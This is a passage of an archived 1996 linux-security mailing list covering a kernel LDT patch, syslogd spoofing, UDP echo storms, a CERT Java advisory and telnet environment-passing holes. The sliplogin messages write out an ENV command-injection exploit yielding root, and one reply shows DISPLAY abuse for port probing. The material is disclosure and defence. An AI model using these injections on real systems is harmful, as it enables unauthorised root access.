rebuild and install the new kernel ASAP. The patch is also available from the 1.2.13 patches WWW page: http://trishul.sci.gu.edu.au/~tony/linux/patches.html Credits should go to Morten Welinder , who reported this bug on the linux-kernel list. Marek From [email protected] Wed Mar 20 13:14:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id NAA15085; Wed, 20 Mar 1996 13:14:48 -0500 Message-Id: To: [email protected] Subject: [linux-security] Summary re: syslogd spam Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 19 Mar 1996 21:36:02 +0100 From: Olaf Kirch Sender: [email protected] Precedence: list There have been quite a number of responses regarding John Betts' message, which I summarize below. Olaf ------------------- From: [email protected] (Jacob Langseth) syslogd listens on UDP port 516, and will log what it receives to the system logs. [mod: It's port 514 anyway --okir] This can be useful -- it allows one to designate a single secure host to handle all system logging for a network, drastically reducing administrative overhead etc, but is definitely unwanted in the case of a stand-alone host. I know of no way to disable it short of filtering it at the network level -- you could either set the router for your network to drop incoming UDP packets destined for port 516, or enable the firewalling code in the linux kernel and have a rule like: ipfw add blocking reject udp from 0/0 to $me 516 >0:06:02.664395 rbit.co.za.echo > www.iuma.com.echo: udp 186 >10:06:02.732615 www.iuma.com.echo > rbit.co.za.echo: udp 186 >10:06:02.733221 rbit.co.za.echo > www.iuma.com.echo: udp 186 This is a UDP storm. A UDP packet was forged from www.iuma.com and sent to your echo service, which echoed the packet back to _their_ echo service, creating an infinite loop and sucking bandwidth from all networks involved. The solution is to turn off your echo service -- comment it out from /etc/inetd.conf and kill -HUP inetd. In general, if a service isn't needed it will only cause problems. Comment out all services that you do not want to specifically provide, definitely including systat, netstat, and echo. ------------------- From: [email protected] (Alan Cox) Someone is spamming your machine. FInd out who is the provider to iuma.com and complain. If that doesnt work threaten to file a lawsuit ------------------- From: halflife These look like 2 distinct and seperate attacks. The former will be covered first. syslogd listens on a udp port for messages (you can direct all your syslogs to point to a single logging host, this is the primary reason it does this). Since it is udp, there is no authentication, so all someone has to do is be able to program just enough to forge ip/udp headers, and they can scribble on your syslog with any ip source address. There is not much that can be done to fix this, you could block the syslog port at your router, I suppose. You could also recompile syslogd to not support udp, which is probably the best solution if you dont have anything that requires udp services. The later attack looks to be a echo bounce attack. This involves sending a udp packet with the src and dst ports both set to the echo port. Since when the echo daemon gets a packet, it returns it to the src host at the src port, which does the same, etc creating a loop until the packet is dropped. This one is simple, just disable the internal services. There is a cert advisory about this sort of thing. Both of these are denial of services attacks, and are of no real importance. Since they are using UDP, there is no (easy) way to track down the actual people who are doing this (theres a very good chance that the echo attack is using fakes source addresses as well). Let me know if I can be of any further assistance. -------------------- From: Chander Ganesan Have you tried disabling your 'echo' service in '/etc/inetd.conf' ? ------------------- From: TWC Sure, recompile syslogd w/o SYSLOG_INET defined. It should probably be this way by default.. ------------------- From: do i type my name here?? Seems to me like someone is running an ip spoofer on you. There is a program called sysfog.c, this is a syslogd writer. Well I took this program and made some changes to it and my kernel of course and now it allows me to do exactly what is happending to you. A few other people made their own programs and gave them out. The only thing you can probably do is upgrade your syslogd. I havn't done so, so I wouldn't know where to start. Hope this helps -------------- End of summary ------------------ -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Wed Mar 20 13:22:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id NAA15129; Wed, 20 Mar 1996 13:22:01 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: [linux-security] Patch for 1.2.13 modify_ldt hole To: [email protected] Date: Wed, 20 Mar 1996 16:04:27 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Since the patch for the modify_ldt hole (see my previous mail) is small (and important), I think it's OK to post it here. It should apply cleanly to 1.2.13 as well as 1.3.x (x<72) kernels. It is already in in 1.3.72 and newer. Marek diff -urN linux-1.2.13/arch/i386/kernel/ldt.c linux/arch/i386/kernel/ldt.c --- linux-1.2.13/arch/i386/kernel/ldt.c Sun Feb 5 23:39:17 1995 +++ linux/arch/i386/kernel/ldt.c Thu Mar 7 16:24:45 1996 @@ -34,11 +34,35 @@ return size; } +static inline int limits_ok(struct modify_ldt_ldt_s *ldt_info) +{ + unsigned long base, limit; + /* linear address of first and last accessible byte */ + unsigned long first, last; + + base = ldt_info->base_addr; + limit = ldt_info->limit; + if (ldt_info->limit_in_pages) + limit = limit * PAGE_SIZE + PAGE_SIZE - 1; + + first = base; + last = limit + base; + + /* segment grows down? */ + if (ldt_info->contents == 1) { + /* data segment grows down */ + first = base+limit+1; + last = base+65535; + if (ldt_info->seg_32bit) + last = base-1; + } + return (last >= first && last < TASK_SIZE); +} + static int write_ldt(void * ptr, unsigned long bytecount) { struct modify_ldt_ldt_s ldt_info; unsigned long *lp; - unsigned long base, limit; int error, i; if (bytecount != sizeof(ldt_info)) @@ -52,13 +76,7 @@ if (ldt_info.contents == 3 || ldt_info.entry_number >= LDT_ENTRIES) return -EINVAL; - limit = ldt_info.limit; - base = ldt_info.base_addr; - if (ldt_info.limit_in_pages) - limit *= PAGE_SIZE; - - limit += base; - if (limit < base || limit >= 0xC0000000) + if (!limits_ok(&ldt_info)) return -EINVAL; if (!current->ldt) { linux-security/linux-security.960321100664 1767 1767 3476 6124304550 16630 0ustar majdommajdomFrom [email protected] Thu Mar 21 11:52:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA19800; Thu, 21 Mar 1996 11:52:55 -0500 Message-Id: To: [email protected] cc: [email protected], [email protected] Subject: [linux-security] Problem with sliplogin on Linux Date: Wed, 20 Mar 1996 19:58:05 +0100 From: Olaf Kirch Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, When installed to provide users with SLIP accounts on your system, sliplogin can be abused to execute commands under the root uid. This hole does *not* seem to be expoitable when you don't have any SLIP users configured in your /etc/passwd. I'm not going to give away the details of the exploit yet; watch for a follow-up posting to linux-security within a week or two. Anyone providing SLIP logins using this program should upgrade to the latest version from sunsite.unc.edu: ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz Cheers Olaf PS: you may have to adapt your login/logout scripts because the argument list has been changed throughout several releases. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM UHunzxZ80SA= =YYZI -----END PGP SIGNATURE----- linux-security/linux-security.960325100664 1767 1767 4606 6125602215 16630 0ustar majdommajdomFrom [email protected] Mon Mar 25 15:39:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id PAA00845; Mon, 25 Mar 1996 15:39:40 -0500 Date: Mon, 25 Mar 1996 11:46:22 +0100 (MET) From: Wojciech Zwiefka To: [email protected] Cc: [email protected] Subject: [linux-security] Security bug in login (RedHat 2.1 .30.3) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: This was originally sent to linux-alert, but I felt that this problem is not serious enough to warrant a full-blown alert, so I'm redirecting it to linux-security. system logs should be read-protected anyway. --okir] Hi, There is a "little" security bug in login in RedHat 2.1 & 3.0.3 login is logging failure logins via syslogd. It should log each attempt for KONWN accounts and starting from 2 attempt for unknown accounts (to avoid logging of password writen by mistake) Here goes sample from syslog Mar 25 10:42:10 alf login: 2 LOGIN FAILURES ON tty4, blahblah Mar 25 10:42:15 alf login: ROOT LOGIN ON tty4 It is printed that there were 2 login failures on tty4, blahblah but to say the truth I tried only ONCE - so after ONE attempt on unknown account the attemp is logged (e.g. root password is by mistake used as login name and then root corrects himself and logs with right login and password. So any one can see root password.) Of course it is the worst scenario - it could be any user password Wojtek Zwiefka P.S.1. I didn't try using login from logdaemon-5.0 by Wietse Venema on Linux (I use it on Ultrix) by maybe it will work P.S.2. (Little fragment from README.WVZ from logdaemon-5.0 by Wietse Venema) This version of 4.3 BSD NET1 login.c has been hacked for SunOS 4.x, and SunOS 5.x, Ultrix 4.x and other systems. The enhanced login command reports every login failure that is not followed by a successful login (the threshold for reporting a failure is 1 for known account names, 2 for other names). Unfortunately, only the SunOS5 variant of the program supports shadow passwords and password aging. See below for a list of enhancements. -- Wojciech Zwiefka Technical University of Gdansk, Poland linux-security/linux-security.960328100664 1767 1767 4650 6126571700 16637 0ustar majdommajdomFrom [email protected] Thu Mar 28 15:17:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id PAA16296; Thu, 28 Mar 1996 15:17:00 -0500 Date: Thu, 28 Mar 1996 15:03:31 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: Olaf Kirch Cc: [email protected] Subject: Re: [linux-security] Summary re: syslogd spam In-Reply-To: Your message of Tue, March 19, 1996 21:36:02 +0100 References: X-Spook: premier AK-47 rental truck X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "OK" == Olaf Kirch writes: OK> There have been quite a number of responses regarding John Betts' message, OK> which I summarize below. OK> From: [email protected] (Jacob Langseth) > syslogd listens on UDP port 516, and will log what it receives to the > system logs. > [mod: It's port 514 anyway --okir] > ... > I know of no way to disable it short of filtering it at the network > level -- you could either set the router for your network to drop > incoming UDP packets destined for port 516, or enable the firewalling > code in the linux kernel and have a rule like: Just an FYI on this subject (since nobody has mentioned it yet)...Greg Wettstein's sysklogd v1.3--released late last month--has an internal disable for remote logging. From a beta release's README: Very important information before using version 1.3 --------------------------------------------------- The included version of syslogd behaves in a slightly different manner to the one in former releases. Please review the following important differences: * By default the syslog daemon doesn't accept any message from the syslog/udp port. To enable this add "-r" to the command-line arguments. You _have to_ add this on every host that should run as a centralized network log server. This version is now available at: tsx-11.mit.edu:/pub/sources/sbin/sysklogd-1.3.tar.gz and sunsite.unc.edu:/pub/Linux/system/Daemons/sysklogd-1.3.tar.gz --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960329100664 1767 1767 24620 6127103507 16654 0ustar majdommajdomFrom [email protected] Fri Mar 29 17:10:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id RAA07677; Fri, 29 Mar 1996 17:10:05 -0500 Date: Fri, 29 Mar 1996 17:05:25 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-security] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] X-Spook: Ortega cryptographic class struggle X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list ------- start of forwarded message (RFC 934 encapsulation) ------- From: CERT Advisory Organization: CERT(sm) Coordination Center - +1 412-268-7090 To: [email protected] Subject: CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier Date: Fri, 29 Mar 1996 09:37:41 -0500 Reply-To: [email protected] ============================================================================= CERT(sm) Advisory CA-96.07 March 29, 1996 Topic: Weaknesses in Java Bytecode Verifier - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of weaknesses in the bytecode verifier portion of Sun Microsystems' Java Development Kit (JDK) versions 1.0 and 1.0.1. The JDK is built into Netscape Navigator 2.0 and 2.01. We have not received reports of the exploitation of this vulnerability. When applets written with malicious intent are viewed, those applets can perform any operation that the legitimate user can perform on the machine running the browser. For example, a maliciously written applet could remove files from the machine on which the browser is running--but only if the legitimate user could also. Problem applets have to be specifically written with malicious intent, and users are at risk only when connecting to "untrusted" web pages. If you use Java-enabled products on a closed network or browse the World Wide Web but never connect to "untrusted" web pages, you are not affected. The CERT staff recommends disabling Java in Netscape Navigator and not using Sun's appletviewer to browse applets from untrusted sources until patches are available from these vendors. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.07.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description The Java Programming Language is designed to allow an executable computer program, called an applet, to be attached to a page viewable by a World Wide Web browser. When a user browsing the Web visits that page, the applet is automatically downloaded onto the user's machine and executed, but only if Java is enabled. It is possible for an applet to generate and execute raw machine code on the machine where the browser is running. This means that a maliciously written applet can perform any action that the legitimate user can perform; for example, an applet can read, delete, or change files that the user owns. Because applets are loaded and run automatically as a side-effect of visiting a Web page, someone could "booby-trap" their Web page and compromise the machine of anyone visiting the page. This is the problem described in the Wall Street Journal on March 26, 1996 ("Researchers Find Big Security Flaw in Java Language," by Don Clark). Note: The security enhancements announced by Sun Microsystems in JDK version 1.0.1 and by Netscape Communications in Netscape Navigator version 2.01 do *not* fix this flaw. II. Impact If Java is enabled and a Web page containing a maliciously written applet is viewed by any of the vulnerable browsers or Sun's appletviewer, that applet can perform any operation that the legitimate user can perform. For example, the applet could read, delete, or in other ways corrupt the user's files and any other files the user has access to, such as /etc/passwd. III. Solution We recommend obtaining vendor patches as soon as they become available. Until you can install the patches, we urge you to apply the workarounds described below. A. Java Development Kit users Sun reports that source-level fixes will be supplied to source licensees in the next few days. The fixes will also be included in the next JDK version, v1.0.2, which will be released within the next several weeks. The JDK itself is a development kit, and it can safely be used to develop applets and applications. If you choose to use the appletviewer as a rudimentary browser, do not use it to browse applets from untrusted sources until you have installed the v1.0.2 browser. B. Netscape users If you use Netscape 2.0 or 2.01, disable Java using the "Security Preferences" dialog box. You do not need to disable JavaScript as part of this workaround. For the latest news about fixes for Netscape Navigator, consult the following for details: http://home.netscape.com/ IV. Information for HotJava (alpha3) users Sun Microsystems has provided the following information for users of HotJava (alpha3). Sun made available last year a demonstration version of a browser called "HotJava." That version (alpha3) is proof-of-concept software only, not a product. HotJava (alpha3) uses an entirely different security architecture from JDK 1.0 or JDK 1.0.1. It will not be tested for any reported security vulnerabilities that it might be susceptible to, and Sun neither supports it nor recommends its use as a primary browser. When HotJava is released as a product, it will be based on an up-to-date version of the JDK and fully supported. - --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felten, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation and Sun Microsystems, Inc. for their response to this problem. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ------- end ------- From [email protected] Fri Mar 29 19:58:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id TAA08896; Fri, 29 Mar 1996 19:58:46 -0500 Message-Id: to: [email protected] Subject: [linux-security] sliplogin hole explanation mime-version: 1.0 content-type: application/pgp; format=mime; x-action=signclear; x-originator=EFE347AD content-transfer-encoding: 7bit Date: Sat, 30 Mar 1996 02:16:57 +0100 From: Olaf Kirch Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- content-type: text/plain; charset=us-ascii Hi all, here's the explanation of the sliplogin hole I reported earlier. We all know that you can pass most environment variables to a login shell when started through telnetd. Assuming you have the password for a sliplogin account on a Linux box, you can pass the ENV variable in this fashion. The attack goes something like this: ENV='`/evil/command`' telnet telnet> environ export ENV telnet> open targethost You then log into your regular slip account, which executes sliplogin as your login shell. Sliplogin, in turn, runs the /etc/slip.login shell script using bash. At startup, bash evaluates *and expands* ENV to obtain the name of a startup file to use instead of .bashrc, and faithfully executes /evil/command. This is particularly nasty since sliplogin runs the login/logout scripts under the real and effective uid of root in order to be able to manipulate network interfaces and routing tables. The fix in the new version of sliplogin is to clean out the entire environment, and pass only a predefined PATH variable when running slip.login or slip.logout. Best wishes Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVyLiOFnVHXv40etAQFbQgQAuRMKre44MS75FuGpOLjuVv0yuucRa3g/ WMRwTRSwPq+UiQfuX2c3x7RJInduvZ9TFABZdn5P0x8PulWZkAaZiA/zieFXyJTO JfedAFIirbujFoqBGSqpwZbGVLzuum3asZSudNTHzM0FcZddrmvIEsdSKu2ZI2qd FJ9WGpTf1/o= =of6d -----END PGP SIGNATURE----- linux-security/linux-security.960331100664 1767 1767 11334 6127557751 16661 0ustar majdommajdomFrom [email protected] Sun Mar 31 14:41:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id OAA16159; Sun, 31 Mar 1996 14:41:19 -0500 Message-Id: Date: Sun, 31 Mar 96 22:55 +0400 To: Olaf Kirch Cc: [email protected] References: In-Reply-To: ; from Olaf Kirch at Sat, 30 Mar 1996 02:16:57 +0100 Organization: Program Systems Inst., Pereslavl-Zalessky, Russia From: [email protected] (Yury Shevchuk) Subject: Re: [linux-security] sliplogin hole explanation Lines: 69 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list In message Olaf Kirch writes: >We all know that you can pass most environment variables to a login >shell when started through telnetd. Assuming you have the password for a >sliplogin account on a Linux box, you can pass the ENV variable in this >fashion. > >The attack goes something like this: > >ENV='`/evil/command`' telnet >telnet> environ export ENV >telnet> open targethost > >You then log into your regular slip account, which executes sliplogin as >your login shell. Sliplogin, in turn, runs the /etc/slip.login shell >script using bash. At startup, bash evaluates *and expands* ENV to >obtain the name of a startup file to use instead of .bashrc, and >faithfully executes /evil/command. This is more than only a sliplogin hole! The same attack is applicable to every account with shell script as a login shell. Of course, you won't right away get the root shell, as in sliplogin's case, just a shell with the account's uid, but... Perhaps other people are wiser, but I had a couple of accounts with login shell set to /bin/false... which is a shell script! I tried your exploit, works great. :-( Of course, this particular hole is easy to fix: reimplement :) /bin/false in C, and you are safe. But in general, the environment-passing feature of telnet seems to me a real Pandora box. The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using perl for custom login shells? what about PERLLIB then? I'm afraid any interpreter around has at least one environment variable that can be exploited this way or that. Sounds like interpreted login shells should be banned? Would be a pity. Another extremal solution is to zap most of environment in telnetd, which again is a loss of functionality. What about a simple wrapper which cleans environment before executing the interpreter? Shells scripts intended for use as login shells would start like #!/bin/zapenv /bin/sh .... and zapenv could be as simple as main() { char *env[] { "PATH=/usr/bin:/bin:/usr/sbin:/sbin", NULL }; if (argc < 2) exit (1); ++argv; execve (argv[0], argv, env); return 1; } Thanks a lot for your alert. -- Yury Shevchuk From [email protected] Sun Mar 31 14:41:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id OAA16173; Sun, 31 Mar 1996 14:41:28 -0500 Date: Sat, 30 Mar 1996 15:50:40 -0500 From: *Hobbit* Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] environment in general Sender: [email protected] Precedence: list I was playing with this the other day with an eye toward better securing things like "captive" accounts. This also keeps the noise down in "ps -e" output. Things involved in authentication and privilege [e.g. sliplogin] may very well want to zorch_env or some equivalent early in the game and start over... _H* ============== #include #include extern char ** environ; /* trash the existing environment, and optionally construct a new one. _H*/ void zorch_env (envp) char ** envp; { int x; if (! envp) envp = environ; for (x = 0; ; x++) { if (! envp[x]) break; if (*envp[x] == '\0') continue; envp[x][0] = '\0'; envp[x][1] = '\0'; envp[x] = NULL; } #ifdef NEWVARS /* If you want to construct any new vars, define 'em here. For example, a different shell so people can't shell out of various apps */ envp[0] = "SHELL=/bin/not-there"; envp[1] = "FOO=...etc..."; #endif } /* zorch_env */ /* and example usage: exec something, using any remaining args. */ main (argc, argv, envp) int argc; char ** argv; char ** envp; { char * p, * q; zorch_env (envp); q = argv[1]; p = strrchr (argv[1], '/'); if (p) { p++; argv[1] = p; } execve (q, &argv[1], envp); fprintf (stderr, "exec %s failed\n", q); } linux-security/linux-security.960401100664 1767 1767 10575 6127762501 16654 0ustar majdommajdomFrom [email protected] Mon Apr 1 09:16:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id JAA25414; Mon, 1 Apr 1996 09:16:32 -0500 Date: Sun, 31 Mar 1996 21:42:59 -0500 (EST) From: Mark Whitis To: Yury Shevchuk cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] sliplogin hole explanation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 31 Mar 1996, Yury Shevchuk wrote: > Of course, this particular hole is easy to fix: reimplement :) > /bin/false in C, and you are safe. But in general, the > environment-passing feature of telnet seems to me a real Pandora box. > The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using > perl for custom login shells? what about PERLLIB then? I'm afraid any > interpreter around has at least one environment variable that can be > exploited this way or that. Yes, I agree. The environment passing feature of telnet has given me the heebeegeebees ever since I first heard about it. I think telnetd should be patch to only allow a particular list of environment variables to be passed. The default should be to deny a variable unless it is specifically allowed. For allowed variables, you might also want to specify, in some cases, a list of specific allowed values or a list of allowed characters. By default, the only two I would allow are TERM and DISPLAY and maybe TZ and even those I have my doubts about in some circumstances. The rest of this message, basically deals with my doubts concerning TERM and DISPLAY. Both of those are abusable to some degree in the proper context. Under System V terminfo, if you could manipulate TERM such that you could provide your own terminal capabilities (I am looking at the manpage under Solaris right now), there could be some unfortunate security problems: init_file when used with a suid root program that used termcap to provide limited functionality, might be exploitable to display files (/etc/password,/etc/shadow,/etc/hosts.allow,/etc/hosts.deny) init_prog is much scarrier. Setting TERM may be okay as long as you don't let them get at the environment variable TERMINFO and don't have an stupid entries in the database. It might be possible to manipulate DISPLAY on any program which can optionally run as an X client to bypass firewalls or send signals from a protected port (if the program runs as suid root). Under solaris, I was just able to connect to a server program on port 7000 by export DISPLAY=localhost:1000 /usr/openwin/demo/ico This opens a tcp connection to the service on port 7000 put does not seem to send any data (I guess it is waiting for information from the server). At the very least, I could use almost any X windows program this way to probe for ports with services on the other side of a firewall this way (since most X windows programs will report to stdout/stderr if they cannot connect). It could also be used for denial of service attacks. (Fortunately, in this particular case, syslogd uses udp; otherwise, it might be possible to tie up all possible tcp connections to syslogd using this trick. And it is conceivable that some programs could be tricked into sending ascii strings, surrounded by newlines, in amongst all the X requests. On Solaris at least, I don't seem to be able to connect to ports below 6000 by using values like "localhost:-1000" or "localhost:60536" to try to get to port 5000. Fortunately, there aren't too many programs which can optionally use X windows that one might want to set up for an anonymous account. There might be some news/mail programs out there (for example, if someone made an X enhanced version of PINE which would run as either a termcap or X program). Emacs or mosaic would be asking for trouble no matter how you sliced it. In any event, it would probably be wise to encapsulate any programs, whether or not they use X windows or termcap, which are used for anonymous accounts inside a C program, not a shell script, which zorches the environment and uses exec(), not system() to call the actual program. -- Mark Whitis ; 804-962-4268 428-B Moseley Drive; Charlottesville, VA 22903 linux-security/linux-security.960402100664 1767 1767 132352 6130324722 16664 0ustar majdommajdomFrom [email protected] Tue Apr 2 10:35:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id KAA31656; Tue, 2 Apr 1996 10:35:11 -0500 From: Cy Schubert - ITSD Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol Reply-to: [email protected] X-Mailer: DXmail To: Jeff Uphoff cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] Summary re: syslogd spam In-reply-to: Your message of "Thu, 28 Mar 96 15:03:31 EST." <[email protected]> Date: Tue, 02 Apr 96 07:10:09 -0800 X-Mts: smtp Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] > Just an FYI on this subject (since nobody has mentioned it yet)...Greg > Wettstein's sysklogd v1.3--released late last month--has an internal > disable for remote logging. From a beta release's README: Many of these features, though nice to have, are redundant. 1. IP firewalling is already built into the kernel. All you need to do is block port 514. 2. What if you want to allow some hosts to log to your server while disallowing the reset of the Internet? There are two possible solutions. Either use IP firewalling already built into the kernel or build a TCP/Wrapper interface into sysklogd. Using the existing IP firewall code already in the kernel is cheaper (less effort). (Why not enable the firewall code in the kernel by default?) Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] ITSD Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Tue Apr 2 11:28:59 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA31912; Tue, 2 Apr 1996 11:28:59 -0500 From: Cy Schubert - ITSD Open Systems Group Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol Reply-to: [email protected] X-Mailer: DXmail To: Jeff Uphoff cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] Summary re: syslogd spam In-reply-to: Your message of "Thu, 28 Mar 96 15:03:31 EST." <[email protected]> Date: Tue, 02 Apr 96 07:10:09 -0800 X-Mts: smtp Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] > Just an FYI on this subject (since nobody has mentioned it yet)...Greg > Wettstein's sysklogd v1.3--released late last month--has an internal > disable for remote logging. From a beta release's README: Many of these features, though nice to have, are redundant. 1. IP firewalling is already built into the kernel. All you need to do is block port 514. 2. What if you want to allow some hosts to log to your server while disallowing the reset of the Internet? There are two possible solutions. Either use IP firewalling already built into the kernel or build a TCP/Wrapper interface into sysklogd. Using the existing IP firewall code already in the kernel is cheaper (less effort). (Why not enable the firewall code in the kernel by default?) Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] ITSD Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Tue Apr 2 11:36:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA32047; Tue, 2 Apr 1996 11:36:34 -0500 Date: Tue, 2 Apr 1996 11:34:13 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] Summary re: syslogd spam In-Reply-To: Your message of Tue, April 2, 1996 07:10:09 -0800 References: <[email protected]> <[email protected]> X-Palindrome: We few erase cares, Al; laser aces are we few. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [...Discussion regarding new sysklogd v1.3 release and its "-r" option...] "CS" == Cy Schubert <- ITSD Open Systems Group > writes: CS> Many of these features, though nice to have, are redundant. Agreed, with qualification. CS> 1. IP firewalling is already built into the kernel. All you need CS> to do is block port 514. But I thought I'd point this feature of sysklogd v1.3 out anyway, mainly because--especially for newcomers to Linux--blocking syslogd spam is much easier to do by running syslogd without the "-r" option than by learning how to write effective firewalling rules. It's also less likely to put the machine into a "funny" state (as mistakes in firewalling rules have been known to do...I know this from regrettable experience ). I consider firewalling to be a moderately advanced topic, and I don't expect newcomers to networking, UNIX, Linux, etc., to understand it all immediately.... If someone is already using firewalling rules then this new syslogd feature doesn't really buy him/her anything. But if the only thing someone wants to block/protect is their syslog port then this is a handy and easy to use feature. CS> 2. What if you want to allow some hosts to log to your server while CS> disallowing the reset of the Internet? There are two possible CS> solutions. Either use IP firewalling already built into the kernel CS> or build a TCP/Wrapper interface into sysklogd. Using the existing CS> IP firewall code already in the kernel is cheaper (less effort). CS> (Why not enable the firewall code in the kernel by default?) I brought up the possibility of linking against libwrap with Greg Wettstein when I got the early 1.3 beta code from him. He'd apparently already considered it, and he held essentially the same view as you state above: using the kernel's firewalling feature is just as effective and it doesn't require extra coding, an extra library, etc. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Tue Apr 2 11:37:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id LAA32063; Tue, 2 Apr 1996 11:37:06 -0500 Date: Mon, 1 Apr 1996 15:31:45 